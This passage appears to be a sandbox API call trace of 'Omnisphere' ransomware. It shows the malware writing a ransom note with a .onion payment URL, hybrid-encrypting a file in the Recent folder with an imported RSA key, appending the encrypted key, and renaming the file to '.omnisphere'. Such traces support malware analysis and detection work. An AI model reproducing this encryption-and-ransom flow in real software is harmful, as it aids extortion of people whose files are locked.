lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.833] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.833] GetProcessHeap () returned 0x1600000 [0126.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9560 [0126.834] PathCombineW (in: pszDest=0x16d9560, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.834] GetProcessHeap () returned 0x1600000 [0126.834] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e0fd0 [0126.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.834] WriteFile (in: hFile=0x28c, lpBuffer=0x16e0fd0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e0fd0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.834] CloseHandle (hObject=0x28c) returned 1 [0126.834] GetProcessHeap () returned 0x1600000 [0126.834] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef310 | out: hHeap=0x1600000) returned 1 [0126.834] GetProcessHeap () returned 0x1600000 [0126.835] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.835] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.835] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.835] CloseHandle (hObject=0x28c) returned 1 [0126.835] GetProcessHeap () returned 0x1600000 [0126.835] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.835] GetProcessHeap () returned 0x1600000 [0126.835] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b9e8 | out: hHeap=0x1600000) returned 1 [0126.835] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6ed33e, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x22ed0575, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22ed0575, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Pictures.lnk", cAlternateFileName="")) returned 1 [0126.835] GetProcessHeap () returned 0x1600000 [0126.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656a18 [0126.836] PathCombineW (in: pszDest=0x1656a18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Pictures.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" [0126.836] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.836] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=753) returned 1 [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.836] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] GetTickCount () returned 0x115fa6a [0126.837] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0126.838] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0126.838] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.838] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.838] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.838] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f1, lpName=0x0) returned 0x288 [0126.839] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f1) returned 0x1480000 [0126.839] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0126.840] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0126.840] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.840] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.841] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.842] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.843] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.843] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.843] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.843] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2f1, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.843] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.843] GetProcessHeap () returned 0x1600000 [0126.843] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16ec958 [0126.843] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk.omnisphere")) returned 1 [0126.844] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk.omnisphere.id" [0126.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.845] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.846] CloseHandle (hObject=0x3c0) returned 1 [0126.846] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.846] CloseHandle (hObject=0x288) returned 1 [0126.846] SetEndOfFile (hFile=0x28c) returned 1 [0126.846] FlushFileBuffers (hFile=0x28c) returned 1 [0126.850] CloseHandle (hObject=0x28c) returned 1 [0126.850] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.850] GetProcessHeap () returned 0x1600000 [0126.850] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef310 [0126.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.850] GetProcessHeap () returned 0x1600000 [0126.850] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5780 [0126.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5780, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.850] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.851] GetProcessHeap () returned 0x1600000 [0126.851] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7fa8 [0126.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7fa8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.851] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.851] GetProcessHeap () returned 0x1600000 [0126.851] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9110 [0126.851] PathCombineW (in: pszDest=0x16d9110, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.851] GetProcessHeap () returned 0x1600000 [0126.851] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16de758 [0126.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.851] WriteFile (in: hFile=0x28c, lpBuffer=0x16de758*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16de758*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.851] CloseHandle (hObject=0x28c) returned 1 [0126.852] GetProcessHeap () returned 0x1600000 [0126.852] HeapFree 